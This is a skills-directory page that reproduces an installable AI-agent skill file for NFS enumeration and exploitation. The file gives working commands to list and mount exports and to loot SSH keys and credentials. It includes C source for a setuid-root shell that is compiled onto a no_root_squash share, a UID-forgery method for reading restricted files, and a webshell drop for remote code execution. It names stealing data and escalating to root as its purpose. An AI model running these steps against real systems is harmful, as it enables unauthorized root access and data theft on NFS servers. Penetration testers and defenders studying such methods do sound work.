NFS (111/2049) enumeration and exploitation — list exports with showmount, mount shares, abuse no_root_squash for root via setuid binaries, and forge UIDs to read restricted files. Tier 1. Use when 2049/111 is open to steal data or escalate to root on the NFS server.
Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Nfs Enumeration Exploitation?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-nfs-enumeration-exploitation)
---
name: nfs-enumeration-exploitation
description: NFS (111/2049) enumeration and exploitation — list exports with showmount, mount shares, abuse no_root_squash for root via setuid binaries, and forge UIDs to read restricted files. Tier 1. Use when 2049/111 is open to steal data or escalate to root on the NFS server.
---
# NFS Enumeration & Exploitation
NFS trusts the client to tell the truth about who it is. Misconfigured exports (no_root_squash, world-readable, weak host ACLs) turn a mount into arbitrary file read/write and often root on the server.
## Trigger phrases
`nfs, 2049, showmount, exports, no_root_squash, mount, uid forgery, nfs-ls, setuid root`
## Method
1. **Enumerate exports:** `showmount -e <IP>`; `nmap -p111,2049 --script nfs-ls,nfs-showmount,nfs-statfs <IP>`. Note which networks/hosts each export allows and the squash policy clues.
2. **Mount:** `mkdir /mnt/t && mount -t nfs -o vers=3 <IP>:/export /mnt/t -o nolock` (try vers=4 if 3 fails).
3. **Loot read-only:** spider for configs, SSH keys, backups, creds → feed credential skills.
4. **[no_root_squash → root]** If an export has `no_root_squash`, a client root can write files owned by root on the server. Drop a setuid-root shell:
```
cat > /mnt/t/sh.c <<'EOF'
int main(){setuid(0);setgid(0);system("/bin/bash -p");}
EOF
gcc /mnt/t/sh.c -o /mnt/t/sh && chmod +s /mnt/t/sh
```
Then, with any shell on the target, run `/export/sh` → root. (See ${CLAUDE_PLUGIN_ROOT}/payloads/command-exec.md for shell variants.)
5. **[UID forgery]** For `root_squash` but world-files owned by another UID: create a local user with the matching UID (`useradd -u <uid> ...`), `su` to it, and read/write the mapped files.
## Modern / rare techniques
- **no_all_squash write-to-web-root** — if an NFS export backs a web root, drop a webshell → RCE via HTTP (chain to smb-share-webshell-style delivery).
- **NFSv4 ACL quirks** — v4 can expose files v3 hides; always test both versions.
- **rpcbind pivot** — enumerate via rpcbind-enumeration when showmount is filtered.
## Escalation / chaining
no_root_squash → local root on the NFS host → linux-privesc/credential harvest; stolen SSH keys → lateral-movement/pivoting; web-root write → webshell RCE.
## Backend & tooling
Operator Kali/WSL/HexStrike (mounting needs root and raw NFS). Compile the setuid binary on a matching arch; execute the planted binary on the target within RoE.
## Verification (background, before reporting)
Confirm the export really maps root (test-write a root-owned file and check ownership on the server if you have a shell) before claiming no_root_squash; re-list exports with a second tool (showmount vs nmap nfs-showmount). Remove planted binaries after proof.
## Evidence
showmount output, mount proof, the setuid PoC and `id` output showing uid=0 (or the restricted file read), affected export, impact. Remediation: root_squash/all_squash, restrict exports to specific hosts, no_exec/nosuid mount options, Kerberos (sec=krb5).